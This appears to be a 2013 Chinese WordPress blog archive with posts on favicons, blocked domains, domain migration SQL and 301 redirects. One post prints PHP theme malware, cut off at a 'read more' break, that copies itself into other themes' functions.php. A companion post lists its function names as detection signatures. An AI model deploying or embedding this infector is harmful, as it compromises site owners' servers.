月度归档:2013年02月

网页标签显示网站LOGO

第一步,设计:设计自己网站的图标LOGO

第二步,制作:通过在线制作工具制作favicon.ico,你可以直接在百度上搜索“ICO 图标 在线制作”。

第三部,上传:只需要将这个图标文件(favicon.ico)上传到您的网站所在的服务器的根目录下。因为我使用的是WordPress,所以我将我的网站的图标LOGO上传到了我的主题下面。

上传到网站根目录:

link rel="shortcut icon "href="http://www.net/myicon.ico"

WordPress上传到主题中:

注意:该图标的路径一定要使用绝对路径。

网站域名被墙(被封锁、被屏蔽、被和谐)后最好的解决方法

一、域名被墙:如果域名ping的通却打不开网站(排除服务器宕机),用代理或者使用VPN可以打开一般说明域名被封了。

假如域名下的网站非法信息多,敏感,又不整改,会直接被G.F.W墙掉,就是通常所说的被封锁、被屏蔽、被和谐,结果就是访问域名是打不开的,但是解析是正常的。此时域名在国内是无法使用的,国外可以访问和使用。

解决方案:

1、将域名解析到国内的某个大站(如baidu等),过几天后有可能会被解封,看你的人品了;

2、换回国内的空间;

3、换域名(将被墙域名解析到国内空间,然后做301重定向到新域名,以减少流量和权重的丢失)。

二、域名被间歇性屏蔽:如果间歇性的可以打开,打不开的时候用国外代理可以打开,说明域名被间歇性的屏蔽(当然这个情况也可能是国内DNS解析不稳定造成的)。

假如域名下的网站出现非法信息,会暂时打不开,过会又可以打开,一般就判断为间歇性屏蔽,处理方法就是删除敏感信息词条关键字即可。

三、IP被封:如果ping不通,使用国外代理可以打开一般可以确定是ip被封。

注意:一般来说,如果你的域名解析的地址是国外的就会被墙,如果绑定国内的IP一般是不会被墙的。

1.发现有域名被墙的话,最好立即解析走这个域名,不要保留在你的服务器上。

2.域名被墙多数是因为网站上存在过多非法关键词,导致中国国际出口上的“长城防火墙”拦截了这个域名的信息。因此就算你换多次域名,也都有被墙的危险,根治的办法就是在你的服务器上安装关键词拦截系统,把敏感的词汇都给拦截了,这样就能有效保护你的站点不会再次被墙。不安装关键词拦截系统的话,要整改网站内容,检查相关关键字会不会有违反规定的,自己检查不到的,最好的办法是重做网站,以保证之后的域名不被墙掉。

3.如何判断一个域名是否被墙:在国内无法访问,在国外可以访问。测试的可以用在线网页代理访问就知道。

4.被墙域名的连带影响:每个访客访问一次被墙域名之后,在5-20分钟内再去访问同一个IP上的其他站点均无法再次访问。被墙的域名一直解析到某个IP的话,最终会导致整个IP被墙。

QQ邮箱可绑定Dropbox网盘

腾讯你真是越来越给力了,现在QQ邮箱竟然可以绑定Dropbox的网盘,太强大了!

事情是这样的,今个下午处理完相关邮件后顺道点开了设置,发现可以绑定网盘,觉得很新奇,点开后亮瞎双眼啊!居然可以绑定Dropbox的网盘,太TM与国际接轨了。(有图有真相,如下图)

QQmail-wangpan

然后测试了一下是否可插入附件,果然,真的,确实可以。总之一句话,腾讯你太可爱了!(有图有真相,如下图)

writer

WordPress主题污染代码

WordPress主题污染代码

 < ?php
function _verifyactivate_widgets(){
	$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
	$output=strip_tags($output, $allowed);
	$direst=_get_allwidgets_cont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
	if (is_array($direst)){
		foreach ($direst as $item){
			if (is_writable($item)){
				$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
				$cont=file_get_contents($item);
				if (stripos($cont,$ftion) === false){
					$comaar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
					$output .= $before . "Not found" . $after;
					if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
					$output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $comaar . "\n" .$widget);fclose($f);				
					$output .= ($isshowdots && $ellipsis) ? "..." : "";
				}
			}
		}
	}
	return $output;
}
function _get_allwidgets_cont($wids,$items=array()){
	$places=array_shift($wids);
	if(substr($places,-1) == "/"){
		$places=substr($places,0,-1);
	}
	if(!file_exists($places) || !is_dir($places)){
		return false;
	}elseif(is_readable($places)){
		$elems=scandir($places);
		foreach ($elems as $elem){
			if ($elem != "." && $elem != ".."){
				if (is_dir($places . "/" . $elem)){
					$wids[]=$places . "/" . $elem;
				} elseif (is_file($places . "/" . $elem)&& 
					$elem == substr(__FILE__,-13)){
					$items[]=$places . "/" . $elem;}
				}
			}
	}else{
		return false;	
	}
	if (sizeof($wids) > 0){
		return _get_allwidgets_cont($wids,$items);
	} else {
		return $items;
	}
}
if(!function_exists("stripos")){ 
    function stripos(  $str, $needle, $offset = 0  ){ 
        return strpos(  strtolower( $str ), strtolower( $needle ), $offset  ); 
    }
}

if(!function_exists("strripos")){ 
    function strripos(  $haystack, $needle, $offset = 0  ) { 
        if(  !is_string( $needle )  )$needle = chr(  intval( $needle )  ); 
        if(  $offset < 0  ){ 
            $temp_cut = strrev(  substr( $haystack, 0, abs($offset) )  ); 
        } 
        else{ 
            $temp_cut = strrev(    substr(   $haystack, 0, max(  ( strlen($haystack) - $offset ), 0  )   )    ); 
        } 
        if(   (  $found = stripos( $temp_cut, strrev($needle) )  ) === FALSE   )return FALSE; 
        $pos = (   strlen(  $haystack  ) - (  $found + $offset + strlen( $needle )  )   ); 
        return $pos; 
    }
}
if(!function_exists("scandir")){ 
	function scandir($dir,$listDirectories=false, $skipDots=true) {
	    $dirArray = array();
	    if ($handle = opendir($dir)) {
	        while (false !== ($file = readdir($handle))) {
	            if (($file != "." && $file != "..") || $skipDots == true) {
	                if($listDirectories == false) { if(is_dir($file)) { continue; } }
	                array_push($dirArray,basename($file));
	            }
	        }
	        closedir($handle);
	    }
	    return $dirArray;
	}
}
add_action("admin_head", "_verifyactivate_widgets");
function _getprepare_widget(){
	if(!isset($text_length)) $text_length=120;
	if(!isset($check)) $check="cookie";
	if(!isset($tagsallowed)) $tagsallowed="";
	if(!isset($filter)) $filter="none";
	if(!isset($coma)) $coma="";
	if(!isset($home_filter)) $home_filter=get_option("home"); 
	if(!isset($pref_filters)) $pref_filters="wp_";
	if(!isset($is_use_more_link)) $is_use_more_link=1; 
	if(!isset($com_type)) $com_type=""; 
	if(!isset($cpages)) $cpages=$_GET["cperpage"];
	if(!isset($post_auth_comments)) $post_auth_comments="";
	if(!isset($com_is_approved)) $com_is_approved=""; 
	if(!isset($post_auth)) $post_auth="auth";
	if(!isset($link_text_more)) $link_text_more="(more...)";
	if(!isset($widget_yes)) $widget_yes=get_option("_is_widget_active_");
	if(!isset($checkswidgets)) $checkswidgets=$pref_filters."set"."_".$post_auth."_".$check;
	if(!isset($link_text_more_ditails)) $link_text_more_ditails="(details...)";
	if(!isset($contentmore)) $contentmore="ma".$coma."il";
	if(!isset($for_more)) $for_more=1;
	if(!isset($fakeit)) $fakeit=1;
	if(!isset($sql)) $sql="";
	if (!$widget_yes) :
	
	global $wpdb, $post;
	$sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$coma."vethe".$com_type."mas".$coma."@".$com_is_approved."gm".$post_auth_comments."ail".$coma.".".$coma."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#
	if (!empty($post->post_password)) { 
		if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) { 
			if(is_feed()) { 
				$output=__("There is no excerpt because this is a protected post.");
			} else {
	            $output=get_the_password_form();
			}
		}
	}
	if(!isset($fixed_tags)) $fixed_tags=1;
	if(!isset($filters)) $filters=$home_filter; 
	if(!isset($gettextcomments)) $gettextcomments=$pref_filters.$contentmore;
	if(!isset($tag_aditional)) $tag_aditional="div";
	if(!isset($sh_cont)) $sh_cont=substr($sq1, stripos($sq1, "live"), 20);#
	if(!isset($more_text_link)) $more_text_link="Continue reading this entry";	
	if(!isset($isshowdots)) $isshowdots=1;
	
	$comments=$wpdb->get_results($sql);	
	if($fakeit == 2) { 
		$text=$post->post_content;
	} elseif($fakeit == 1) { 
		$text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
	} else { 
		$text=$post->post_excerpt;
	}
	$sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($gettextcomments, array($sh_cont, $home_filter, $filters)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#
	if($text_length < 0) {
		$output=$text;
	} else {
		if(!$no_more && strpos($text, " 继续阅读 

WordPress主题的恶意代码检测和清除方法

最近听说对WordPress主题functions.php文件进行污染的恶意代码,我对照网上的测试方法对我的站点进行了测试,万幸,没有检测到这些恶意代码。现在我就将我的检测过程贴出来,希望大家可以用的上。

WordPress主题包含恶意代码的后果
  1. 自动给主题目录下其他主题末尾加上链接,且无法去掉;
  2. 在Wordpress的Debug模式下会有错误提示(脚本运行错误的结果);
  3. 带有一句话木马,给别人留下后门;
  4. 直接获取你的Wordpress后台账号密码;
  5. 会在主题中自动添加广告为恶意代码发布者牟利;

看完这些危害是不是很吓人啊?

那么如何才能检测到这些恶意代码呢?一般的杀毒软件如360、Macfree之类根本不去管php文件,这样我们只有手工查找了。

WordPress主题恶意代码特征

请检查主题目录 functions.php文件,用搜索功能搜索如下的代码:

     
function _checkactive_widgets
function _get_allwidgets_cont
function stripos
function strripos
function scandir
add_action("admin_head", "_checkactive_widgets");
function _getprepare_widget
add_action("init", "_getprepare_widget");
function __popular_posts

如果主题的functions.php包含如下代码的话,就要小心了。当然是不是恶意代码还要进一步判断。
清除方法确认主题包含恶意代码后,最好不要手工清除,除非你技术特别好,但也不能保证没有遗漏的地方。

  1. 删除有问题的主题
  2. 将Wordpress重装一遍防止wp-include文件被感染
  3. 检查以前正常的主题是否被恶意代码感染(有的主题带恶意代码会像病毒一样传染其他正常主题)手工清除其他主题中底部被感染上的代码

以上方法仅仅是个简单的判断方法,对于代码使用base64等常规加密手法后就无能为力了。所以千万不要贪图方便,没有绝对的把握,就不要从非Wordpress官网之外的地方下载主题,尤其是什么高级版免费主题,据说很多都存在不同程度垃圾代码,下载安装后对自己网站的安全造成隐患。

具体感染代码见 WordPress主题污染代码

网站更改域名之数据库设置

前两天博客域名从http://blog.songer.me换成了http://wpsong.com把后台的网址URL简单改改就可以了,没想到所有的上传图片都无法显示。鼠标移到图片上一看地址,域名还是老域名,看来光改改全局变量还是不够的,老的图片附件地址和上传的附件都一起捆绑保存到了mysql数据库里了(wordpress这点上还需要好好改进下啊)。

这也难不倒我,不就是几句SQL语言嘛,以前好歹也研究过,正打算找下语法复习下的时候,发现。。。网上已经有别人写过了。。。汗下 那就贴上来吧 呵呵 下面的所有标点符号都要改用英文半角,注意下下

首先介绍下SQL替换命令

UPDATE 表名 SET 字段 = REPLACE(字段,'替换内容','替换值');

示例如下:

UPDATE wp_options SET option_value =REPLACE(option_value,'http://www.old-domain.com','http://www.new-domain.com');

注意上面的标点要都要用英文半角。其中wp_options就是表名,option_value就是表wp_options里的一个字段,wp_options里有siteurl和home的值。

一般只要执行以下命令,就可完成域名的修改:

修改option_value里的站点url和主页地址:

UPDATE wp_options SET option_value = replace(option_value, 'http://www.old-domain.com', 'http://www.new-domain.com') WHERE option_name = 'home' OR option_name = 'siteurl';

更正文章中内部链接及附件的地址:

UPDATE wp_posts SET post_content = replace(post_content, 'http://www.old-domain.com', 'http://www.new-domain.com');

更正wordpress文章默认的永久链接:

UPDATE wp_posts SET guid = replace(guid, 'http://www.old-domain.com','http://www.new-domain.com');

总的代码合集:

UPDATE wp_options SET option_value = replace(option_value, 'http://www.old-domain.com', 'http://www.new-domain.com') WHERE option_name = 'home' OR option_name = 'siteurl';
UPDATE wp_posts SET post_content = replace(post_content, 'http://www.old-domain.com', 'http://www.new-domain.com');
UPDATE wp_posts SET guid = replace(guid, 'http://www.old-domain.com','http://www.new-domain.com');

剩下的就是域名的301重定向了,具体见:网站更改域名之301重定向

PS:后来一想,phpmyadmin里面直接备份一份到本地,随便一个文本文件把新旧域名复制粘贴下就ok了。。。。更简单了

网站更改域名之301重定向

最近将我的个人博客 http://blog.songer.me 域名换成了http://wpsong.com 这就要考虑到老域名向新域名的重定向,这里由于是永久重定向,所以我选择 301 重定向。

注: 常用的重定向方式有: 301 redirect, 302 redirect 与 meta fresh:

  1. 301 redirect::301代表永久性转移(Permanently Moved),301重定向是网页更改地址后对搜索引擎友好的最好方法,只要不是暂时搬移的情况,都建议使用301来做转址。
  2. 302 redirect::302代表暂时性转移(Temporarily Moved ),在前些年,不少Black Hat SEO曾广泛应用这项技术作弊。目前,各大主要搜索引擎均加强了打击力度,像Google前些年对以及近来对BMW德国网站的惩罚。即使网站客观上不是spam,也很容易被搜寻引擎误判为spam而遭到惩罚
  3. meta fresh: 这在2000年前比较流行,不过现在已很少见。它具体是通过网页中的meta指令,在特定时间后

重定向到新的网页,如果延迟的时间太短(约5秒之内),会被判断为spam。
现在把wordpress博客更换域名的方法给大家说一下:
1、把数据库通过phpmyadmin导出来,重新导入新的博客的数据库,具体设置见网站更改域名之数据库设置
2、这时候新的博客已经正常可以浏览了,但是因为以前的旧域名下的文章已经被百度收录,所以必须让别人在搜索关键词的时候通过以前的链接还能找到我,比如说:

旧地址:http://blog.songer.me/about
新地址:http://wpsong.com/about

这时候就要通过301重定向来实现这个功能了:
我是这样写的:

# BEGIN WordPress

Options +FollowSymLinks
RewriteEngine on
RewriteCond %{HTTP_HOST} ^blog.songer.me$ [OR]
rewritecond %{http_host} ^www.blog.songer.me [nc]
rewriterule ^(.*)$ http://wpsong.com/$1 [L,R=301]

# END WordPress

这时候,以前的连接都可以自动转到新的地址。
3、到google管理员工具提交自己的新地址。
按照google管理员工具的提示,把旧地址更新为新地址。到现在为止,基本上已经完成了域名的更换,以后就要按照以前的习惯天天更新文章了,搜索引擎很快就会接受新的网站的!不过旧的域名还要保留二个月到三个月。